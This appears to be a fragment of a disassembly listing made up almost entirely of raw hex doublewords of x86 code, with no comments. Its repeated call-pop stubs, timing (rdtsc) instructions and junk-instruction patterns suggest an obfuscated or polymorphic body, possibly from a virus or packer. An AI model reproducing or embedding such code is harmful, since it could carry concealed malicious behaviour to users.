		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 0FB67C770h, 9226C680h, 0CE858900h, 6A05ECBAh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 666AC352h, 23BCE781h, 23EE9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 2118A43Fh, 0DA220FD6h, 0F5BD89D8h, 8B05E929h, 0ECBAC685h
		dd 0B48EBB05h, 0C7645Eh, 18h, 103E780h,	0E91E6DB5h, 0CAB58B05h
		dd 8B05ECBAh, 0E92F3985h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 11E9D173h
		dd 0F2000000h, 58317D19h, 0A096F0BFh, 0BD2C8806h, 0E85CB3DFh
		dd 81660689h, 8BD8BCCBh, 0E9286985h, 0EE905h, 13780000h
		dd 40719D45h, 0F9B438B5h, 0BEFDC2F6h, 6A044689h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 9047C352h, 1F8F5A8h,	8A0F6096h, 2, 12E85857h, 6E000000h
		dd 5301CB7Bh, 47C031F5h, 0FC93AB49h, 0CD776FCEh, 0CF8B666Eh
		dd 60506158h, 52D78B66h, 59FE8B66h, 6A9661h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 43EB4AC3h
		dd 97990A3Dh, 662EBFFBh, 0B5FF50FBh, 5ECBAC6h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 6BC35747h, 0DA0239Bh
		dd 10E969A7h, 42000000h, 0A418932h, 4894CD95h, 935E0FC2h
		dd 0E8BBFF21h, 4, 1F03FFh, 10E8h, 0DC2E6C00h, 1021CA87h
		dd 0BA936933h, 18FB1F3Bh, 525060BEh, 585A310Fh,	5F615E56h
		dd 0BE950h, 0A40B0000h,	7A6346E4h, 5E53D14h, 24448BD7h
		dd 66008B04h, 4489DA8Bh, 0E3BB0424h, 5816F5D3h,	6880Fh
		dd 0BD0B0000h, 5E90359h, 0BACE858Dh, 6A05ECh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 39B039C3h
		dd 669039B0h, 50D64ABBh, 8B665250h, 0E9310FF8h,	7, 20C6128Dh
		dd 5A89FC44h, 8B669058h, 2D95FFDEh, 6A05E929h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0B456C357h, 11E8418Fh, 0B6000000h, 0A02E48D0h, 2444882Eh
		dd 9ACDEB5Ch, 0D97A06A2h, 4BC8CB81h, 615F33F0h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 16C35141h, 34B69891h
		dd 718D299Ch, 0C705E925h, 0E9163D85h, 305h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0A841B74Bh, 0BF0FF9CCh, 0CEBD83FEh, 5ECBAh, 10840Fh
		dd 0BD8B0000h, 5E900C5h, 0E9DEBF0Fh, 1Dh, 305095B7h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 99D89C0h
		dd 8305E929h, 0E9163DBDh, 850F0305h, 43Fh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 37C35747h, 0BD836633h
		dd 5ECBACEh, 14840F00h,	0F000004h, 681h, 0D9BD8B00h, 8905E92Dh
		dd 0E922D1BDh, 0CEB5FF05h, 6605ECBAh, 6A53F381h, 5F1BD8Bh
		dd 95FF05E9h, 5E92B75h,	0BE9h, 46842100h, 0F0404683h, 48013E21h
		dd 0BAC2B58Bh, 6A05ECh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 8B6694C3h, 106C7F8h, 6A000100h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0C7D3C356h, 0A9697910h, 0F96F9D2h, 81h, 6A965000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0C254C352h, 9CDD2FA3h, 0FF069375h, 0ECBACEB5h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0FFF832A9h, 0E92B4D95h, 3D950105h, 8B05E90Eh
		dd 0ECBAC2B5h, 219D8905h, 8B05E92Eh, 0E90FDD85h, 0AD958905h
		dd 8905E906h, 0C486h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 38396885h, 12E8EDA8h
		dd 14000000h, 698B8A5Eh, 0BF8F72FBh, 49D03DA1h,	0E690A55Eh
		dd 10EB8141h, 5B276F79h, 2655958Bh, 6A05E9h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 28F816C3h
		dd 82599BBBh, 83FB8B15h, 9D8B04C2h, 5E91621h, 6A205089h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0A61EC356h, 12659D8Bh, 858D05E9h,	5ECD055h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 4C35242h
		dd 729CA443h, 0E9F85CFAh, 9, 46F2F346h,	0ABD5B1D1h, 0B886891Fh
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0A48AC350h, 6AE185h, 0C59D8960h
		dd 0B05E90Dh, 0E90E31B5h, 0B5FF6105h, 5ECBACEh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0C8C35343h, 20E1714Ch
		dd 0AD95FF49h, 8905E900h, 0E90CC5BDh, 11E85005h, 5C000000h
		dd 0B311F533h, 5173716Eh, 815DBD4Ah, 7D20953Fh,	5E49FFBBh
		dd 34895F63h, 6D8D2924h, 8B05E90Fh, 0E9071D9Dh,	0CEB5FF05h
		dd 6A05ECBAh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0A397C355h, 0FB8B96F2h, 16019531h
		dd 95FF05E9h, 5E93231h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0E0C35747h, 0C731727Dh, 0BD8D892Eh, 8305E92Dh
		dd 0E92AB1BDh, 840F0005h, 3Dh, 2F4DBD89h, 0E99605E9h, 0Fh
		dd 2914F6F3h, 0BAC7CDC6h, 8D62A347h, 5020C612h,	9E95250h
		dd 8A000000h, 75D8BE59h, 26FEE6E7h, 5060310Fh, 5A310F52h
		dd 615F5758h, 8B96585Ah, 0CEB5FFF9h, 6A05ECBAh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 7F6FC357h, 6195FF28h, 8B05E92Fh, 0E92A01BDh,	0DF816605h
		dd 0B5FF4B4Ch, 5ECBACEh, 6890Fh, 0CF810000h, 6868A37h
		dd 4A19D29h, 95FF05E9h,	5E92DC5h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 96C35242h, 0B658C2F3h, 0A9BD8BF4h
		dd 8305E907h, 0E903FDBDh, 840F0205h, 5Ch, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ah, 5CC35040h, 86EDCB37h
		dd 858B46A1h, 5E93055h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 47C35242h, 0DFBF8D11h, 37ACE145h, 3810Fh
		dd 8B660000h, 0FCC780FBh, 0F90000C6h, 27A985C7h, 5E9h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0E9BD69C3h, 0FFFFF3B6h, 6AC18Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0F92971C3h, 0FBE9F991h, 6859D23h, 850F05E9h,	6, 0DC19D8Bh
		dd 858D05E9h, 5E921E5h,	32CDBD8Bh, 509005E9h, 60605250h
		dd 61D1B761h, 0B3BF310Fh, 5A539D4Bh, 6A9058h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 4BC35242h, 1E9D40C9h
		dd 0B59998BAh, 8529DA8Bh, 5E917D1h, 9D89006Ah, 5E927F1h
		dd 0C7C2858Dh, 83F505EDh, 0BD8905C0h, 5E930C9h,	8B525050h
		dd 0F310FFEh, 681h, 0F525000h, 5A585A31h, 24048958h, 6E8h
		dd 93592900h, 95E3A6Ah,	0E92B6D9Dh, 6A5F05h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 39C35545h, 0D496FC7Bh
		dd 6800FB2h, 8B000000h,	0E905419Dh, 0FC006A05h,	0AA195FFh
		dd 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 0B02CBC3h, 2D31BD89h, 8D8D05E9h, 5ECADBFh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 49C35141h
		dd 3527C051h, 0FA94E743h, 0F18D29EEh, 0FF05E915h, 56006AD1h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 89967BEBh, 71C3C0CDh, 0BF66518Eh, 0BF5BCDADh, 471B8FD9h
		dd 1BDBD83h, 0F0105E9h,	7285h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0FC0C341h
		dd 383h, 0D8BF0F00h, 8B66026Ah,	71BD8BD8h, 5005E90Fh, 58B0Fh
		dd 0C2BB0000h, 8966DEA8h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 8BC4CCC3h, 0E929F5BDh
		dd 0AD95FF05h, 8905E900h, 0E92F8995h, 0E934B305h, 0CBBh
		dd 0E8h, 0ED815D00h, 5EDC7CCh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0D6C35040h,	0C6B190A6h, 4694A05h
		dd 0F3CBCB81h, 6A1C95h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0F1633C3h, 0EB81FEBFh, 339BB2B4h
		dd 904B858Dh, 9D3105ECh, 5E90625h, 5830F90h, 0BF000000h
		dd 74F5FC52h, 0E8525050h, 0Bh, 0F9057F42h, 4B44CDC5h, 66D4E2EBh
		dd 0F5FD88Bh, 11E831h, 884E0000h, 58072864h, 0B2ACE6C5h
		dd 66F06F71h, 8B6B92F3h, 585A5FDFh, 35FF6490h, 0
aB4Sdi		db 'Ó4',9,'¹sd‰%',0
		align 10h
		dd 0DABF0F00h, 68985FFh, 6A05E9h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0B34B6CC3h, 0B5FFFF6Ah
		dd 5E90055h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	0A7C35040h, 0A6CD3F69h,	34338DDDh, 0C995FFFBh
		dd 0E905E907h, 102h, 2A61BD23h,	0B005E9h, 0E6FEBF0Fh, 48A0F70h
		dd 66000000h, 0E4C6D4BBh, 9DB8171h, 3C52FDFDh, 0DB830F61h
		dd 33000000h, 0E9109D9Dh, 0C8B60F05h, 2BFD8D09h, 0DF8105E9h
		dd 6C6A4F04h, 6BAh, 8BDE8A00h, 61BD8BC1h, 0C105E910h, 816604E8h
		dd 66E23FC3h, 0DB81E2F7h, 2FB4CE2h, 9D8BC82Bh, 5E900B9h
		dd 9529D18Bh, 5E91911h,	91E9h, 29BD0900h, 8B05E906h, 185h
		dd 0A1BD8B00h, 8305E90Fh, 0BF6607C0h, 0C0837509h, 5E900h
		dd 30640000h, 3BBC2688h, 1E830FD0h, 0E8000000h,	0Fh, 0AD29B4Ch
		dd 7EFEEE58h, 0DB73738h, 5FC25F64h, 49E9h, 0C2BF6600h
		dd 0FF8D8BCEh, 83FFFFFFh, 840F01E1h, 36h, 13E9F9h, 25460000h
		dd 8101A986h, 7B5B2AFBh, 7233A3A6h, 476893D7h, 0FFA58361h
		dd 0FEFFFFFFh, 13D19D8Bh, 958905E9h, 1,	0DEB70F52h, 0E95Bh
		dd 0B58D0000h, 5ED4843h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 15h, 64C35343h, 30D3802Bh,	0CF81006Ah, 0DE41C1Bh
		dd 228DBD89h, 95FF05E9h, 5E91E95h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0CBC35646h,	0D44D6C90h, 1EE18D29h
		dd 9FB905E9h, 6A00000Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0B513C355h,	0E913A289h
		dd 13h,	0BA1337B4h, 0CB9A4CBBh,	243A5846h, 0FF791EFAh
		dd 0E8A8C983h, 8, 0F63A52E1h, 8FD7DE8Dh, 25958B60h, 0F05E933h
		dd 87h,	835F6100h, 0F380FCE1h, 6AFC5Eh,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0B84BB0C3h
		dd 0
		dd 17A9B589h, 0D22B05E9h, 0C233ADF9h, 0D003E8D1h, 7504E983h
		dd 53006AF4h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0D4253CB2h, 0F50DA9Bh, 0D5FD8B7h, 88h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0FFC35040h, 28ACE45Ah
		dd 6F8B00BFh, 1651BD8Bh, 958B05E9h, 5E92655h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 48C35242h, 0DD93BABBh
		dd 8BDE9B58h, 0E908058Dh, 8B50F505h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	8DBD2B51h, 5B05E912h, 1CF1BD83h
		dd 0F0005E9h, 7984h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 56BB26Eh, 81AFE01Dh, 2BBF6699h
		dd 0B809h, 0B5290000h, 5E90C9Dh, 4E6D8D8Dh, 6A05E9h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0E81FB1C3h, 5, 370F11B9h, 4D8D3184h,	5F05E90Dh, 5E9h
		dd 14CF3200h, 0E1FF95F0h, 7A99589h, 0BD8305E9h,	5E9163Dh
		dd 0C4840F00h, 6A000003h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 870AC352h, 0BD8B4558h
		dd 5E90811h, 163DBD83h,	0F0105E9h, 3AD84h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 7C3DD53Bh, 143A2881h, 3DBD837Dh, 305E916h, 346860Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 26AABC3h,	699D8B60h, 6605E932h, 6AD98Ch
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0AD77CFC3h, 0B7E9BF22h, 0E1802133h, 55006A04h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 6F8603EDh, 0FC90AFFh, 0EC84h, 13E800h, 0EB8F0000h, 65509256h
		dd 60886AC9h, 704C9951h, 0B0FEE8ABh, 8B5BF934h,	0E9286985h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0F18C4FD8h, 0D4F58C13h, 0B1E3812Bh, 330FB447h
		dd 0E90E6185h, 0D98B6605h, 19BF6690h, 52505023h, 5B5F5350h
		dd 585A310Fh, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 6A70B4h, 0C810Fh,	8B0F0000h, 6, 2F5DBD8Bh
		dd 0D46805E9h, 5130B66Ch, 50616060h, 5A310F52h,	815F6158h
		dd 6F2B2434h, 0FFF930A9h, 0E9292D95h, 0FB8B6605h, 0BACE8589h
		dd 6A05ECh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 7EBA2CC3h, 0CF8166DCh, 9BE98636h,	9000001h
		dd 0E9223195h, 0C6858B05h, 0B705ECBAh, 1800C7B1h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 499BC351h, 0CAB58BF9h, 8905ECBAh,	0E924D59Dh
		dd 5D8D8905h, 8B05E92Dh, 0E92F3985h, 5E905h, 6FEC0000h
		dd 9AD6905h, 0E928319Dh, 9068905h, 0E910759Dh, 69858B05h
		dd 6A05E928h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 1CADC353h, 174CA6FAh, 0C592C8BBh
		dd 446895Ah, 8850F50h, 52000000h, 310F5250h, 895F585Ah
		dd 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0DEAD7BC3h, 0AC19D8Bh, 9D8B05E9h,	5E93035h
		dd 0BAC6B5FFh, 2C6805ECh, 53E657C4h, 62CEBB60h,	61600EC4h
		dd 4815B61h, 0C73FD324h, 57006A19h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0B26E82DEh, 0E01D056Bh
		dd 299D31AFh, 8005E930h, 858D2EE3h, 5ECBACEh, 0C6DE381h
		dd 505056EAh, 0F310F52h, 0B8Dh,	6E900h,	3B070000h, 0CBAEAAAh
		dd 489585Ah, 56006A24h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 6A7D888Dh, 4890F64h, 66000000h, 56DDA9BFh
		dd 12218D89h, 0FF5F05E9h, 0E9292D95h, 52006A05h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 0C7FF9D13h, 66A5479Ch, 0E861D88Bh, 7, 712B7DFBh, 31D20F06h
		dd 0E90E799Dh, 85C75B05h, 5E9163Dh, 3, 110DB529h, 0BD8305E9h
		dd 5ECBACEh, 1D840F00h,	8B000000h, 0E917759Dh, 68F0F05h
		dd 0B000000h, 0E929FDBDh, 21E905h, 0BD8B0000h, 5E90775h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 8BC08B00h
		dd 0E90191BDh, 0EB816605h, 6AD64Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 66B2D7C3h
		dd 79A3C781h, 163DBD83h, 0F0305E9h, 40D85h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 7E8166Ch, 18000000h,	2297FACFh, 0BD315512h, 5E904DDh
		dd 0CEBD835Fh, 5ECBAh, 3D0840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 47DEAC3h
		dd 0CF593D60h, 0E9E8ADB5h, 12h,	6EE7ADFAh, 0E3A099BDh
		dd 0DE7A4D62h, 424068A6h, 0B5FFE709h, 5ECBACEh,	0D1B721BFh
		dd 7595FF5Eh, 8905E92Bh, 0E905A98Dh, 0C2B58B05h, 6A05ECBAh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 66C0C352h, 0E380FA8Bh, 106C756h, 0BF000100h
		dd 12519E9Ah, 8B525050h, 53310FFEh, 5A5B6160h, 24348958h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 5BC35747h
		dd 0DD4875ABh, 0B589A30Fh, 5E92AB5h, 0BACEB5FFh, 6A05ECh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 9072C2C3h, 0C59D8B6Dh, 0FF05E907h, 0E92B4D95h, 12E905h
		dd 94740000h, 0CDF0DC11h, 0F6A0E641h, 3E1106ABh, 3E936DF1h
		dd 8BFAB70Fh, 0ECBAC2B5h, 0D3816605h, 858B804Eh, 5E90FDDh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0AEC35242h
		dd 0FFD2EE24h, 780BAA22h, 0A860F15h, 0E9000000h, 5, 4B34C355h
		dd 0C48689FBh, 8A000000h, 8BDF8BD9h, 0E9265595h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0F09E9565h, 5E7218BFh, 7E918h, 0E7270000h, 866EEEC8h
		dd 4C283ECh, 0B758589h,	508905E9h, 0FD9D2320h, 8D05E92Ch
		dd 0ECD05585h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 8A4F9EBAh, 0F9B70FF9h
		dd 0B88689h, 0BD8B0000h, 5E92269h, 0AF59D8Bh, 6A05E9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 3EC35747h
		dd 7F8229B8h, 5F2E4145h, 10099D29h, 0B5FF05E9h,	5ECBACEh
		dd 25CF8166h, 0AD95FF90h, 0E905E900h, 0Ch, 78630C4Bh, 6134E13Dh
		dd 630B7343h, 8A0F5096h, 0
		dd 5E996h, 0D0A00000h, 0FF42FF32h, 0ECBACEB5h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0F6717BDCh, 0FFD84ACAh, 0E9323195h, 91BD8B05h, 8305E924h
		dd 0E92AB1BDh, 840F0005h, 4Ah, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 47C35242h, 8724CD25h, 67AAD642h
		dd 3850F51h, 66000000h,	95FFB8Bh, 0E92699B5h, 21BF9605h
		dd 500D45A9h, 800Fh, 89960000h,	0E92DE5BDh, 0B5FFF505h
		dd 5ECBACEh, 10E9h, 0CDFFE300h,	102624E6h, 6692444Eh, 9A4ECE8Dh
		dd 6195FF65h, 3105E92Fh, 0E92F9995h, 0CEB5FF05h, 6A05ECBAh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 4EB8C357h, 89E8D380h, 0E92D418Dh,	0C595FF05h
		dd 6A05E92Dh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 3E1C357h, 0E90D599Dh, 0FDBD8305h
		dd 205E903h, 47840Fh, 6DB70000h, 3055858Bh, 6A05E9h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0FC47E4C3h, 6A0000C6h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0B7F4C351h,	0A985C755h
		dd 5E927h, 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 9CDCC355h, 442A1A4Ah, 830F4E3Eh
		dd 0
		dd 2B659D8Bh, 55E905E9h, 6AFFFFF4h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 2174C351h
		dd 16970E9Ah, 8981103Fh, 0E90799B5h, 8DC18B05h,	0E921E585h
		dd 0B390F505h, 666050B2h, 0BB7059B9h, 64087D1h,	0D98B9061h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 1BA6E3C3h, 0BF0F696Eh, 6A006ADFh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 6C44C355h, 88858DA1h, 6A05EDD6h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0E1A1C352h
		dd 7ACF98F0h, 0E960F1D8h, 14h, 0CD08D6F0h, 0A21102C9h
		dd 45C5C18Bh, 0DF9FD5Fh, 0C0BAB666h, 8361E6B4h,	0BD8B05C0h
		dd 5E92699h, 0FE850h, 84A0000h,	47BEAEB1h, 5462A8E7h, 1E9EBB5Ch
		dd 0AE957F5h, 8D000000h, 395AD24Bh, 0CDFA8DDAh,	895F5FB3h
		dd 8FBB2404h, 6A4AC1A5h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0A281B6EFh, 2D95899Bh
		dd 6A05E919h, 0EDB50900h, 8B05E90Eh, 0E91E65BDh, 0A195FF05h
		dd 6005E90Ah, 0CE9h, 621BDA00h,	0F363F595h, 514B3A79h
		dd 59531D2h, 6105E933h,	0ADBF8D8Dh, 6A05ECh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0DE767BC3h
		dd 0FF97FC0Ah, 57006AD1h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 9D8B5101h, 5E919CDh, 0BDBD835Bh
		dd 105E901h, 7B850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0BF00F3C3h, 0B177B368h
		dd 0DDED381h, 26A6ED0h,	0EB99D8Bh, 509005E9h, 1C04BB66h
		dd 51006A90h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 9E46A905h, 2DFDABA3h, 0AD95FFh, 800F05E9h
		dd 10h,	8E8h, 0B0F9D600h, 12F6C979h, 5B6160C1h,	4AEF8166h
		dd 0D77E9E8h, 0E80000h,	5D000000h, 0D692ED81h, 896005EDh
		dd 0E92D418Dh, 69958905h, 6105E90Fh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0C4C35141h,	1E8E65AFh, 2B7B2E25h
		dd 0E92DE9BDh, 4B858D05h, 8105EC90h, 0E80796CBh, 0CFBB9079h
		dd 5004BAD1h, 8D0Fh, 6A900000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 64F6C356h, 35FFh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0D2111C3h, 89076A1Eh, 0E9065595h, 25896405h,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0D3C35040h
		dd 475F0F49h, 26C19D8Bh, 85FF05E9h, 5E90689h, 31FF6AF8h
		dd 0E927219Dh, 55B5FF05h, 6A05E923h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 88FEC355h
		dd 95FFF834h, 5E907C9h,	15BE9h,	358D3100h, 0B005E923h
		dd 850F00h, 0E9000000h,	11h, 0D2E2F1EDh, 50777C2Bh, 0EEEE4810h
		dd 0C96407B4h, 0E870E64Bh, 0Eh,	1B037074h, 0C77FF495h
		dd 700F141Ch, 8BBFCD94h, 5F516655h, 606071E4h, 14E8h, 4661C100h
		dd 3BAD4606h, 0EDEB3CB8h, 81687DA6h, 2CEF99Ch, 958B5B30h
		dd 5E91915h, 0FE861h, 0A57A0000h, 8248D4B4h, 94DDF7A8h
		dd 0D36D3118h, 5AD08BD6h, 0F613C61h, 0D783h, 5420BB00h
		dd 0B60F39D8h, 0DF8B66C8h, 9853EF81h, 6BA179Eh,	0B3000000h
		dd 6DBD038Ah, 8B05E928h, 0C1DE8BC1h, 0BD8B04E8h, 5E90F71h
		dd 2BE2F766h, 0FBBF0FC8h, 8B66D18Bh, 9AE9D8h, 14E90000h
		dd 5F000000h, 0F15F6907h, 0A23ED0DCh, 0D844BC02h, 0AF87A78Bh
		dd 8BBAC08Eh, 485h, 0FDE8B00h, 0C083DBBFh, 0F7816607h
		dd 0C08318BEh, 9D9D3100h, 3B05E910h, 16830FD0h,	0E9000000h
		dd 0Ch,	35668A3Bh, 162FF63Ch, 253DD487h, 47E9h,	0FF8D8B00h
		dd 0F5FFFFFFh, 0F01E183h, 3784h, 83FE8B00h, 0FFFFFFA5h
		dd 0D381FEFFh, 68C5A3E0h, 49589h, 60600000h, 8D8B6160h
		dd 5E90335h, 0B8B0F61h,	0E9000000h, 6, 0CB95C06Fh, 0E9617B0Bh
		dd 0
		dd 57E2B58Dh, 0EE905EDh, 0FA000000h, 57440961h,	57B9DED7h
		dd 72CDD372h, 6A006AE1h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0C6A8C352h,	81F5239Eh
		dd 0F88B4567h, 1E9595FFh, 850105E9h, 5E92735h, 0E4BB9h
		dd 0CF816600h, 0E18395CFh, 55006AFCh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0B2B49B3Eh
		dd 13E9h, 33683F00h, 0C973E9A1h, 50C58AB8h, 0B8359A7Eh
		dd 0F120F9E6h, 1BB960FCh, 611D9FFAh, 0B8h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 6D9D8932h, 8B05E905h, 0E923B59Dh, 6AD22B05h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
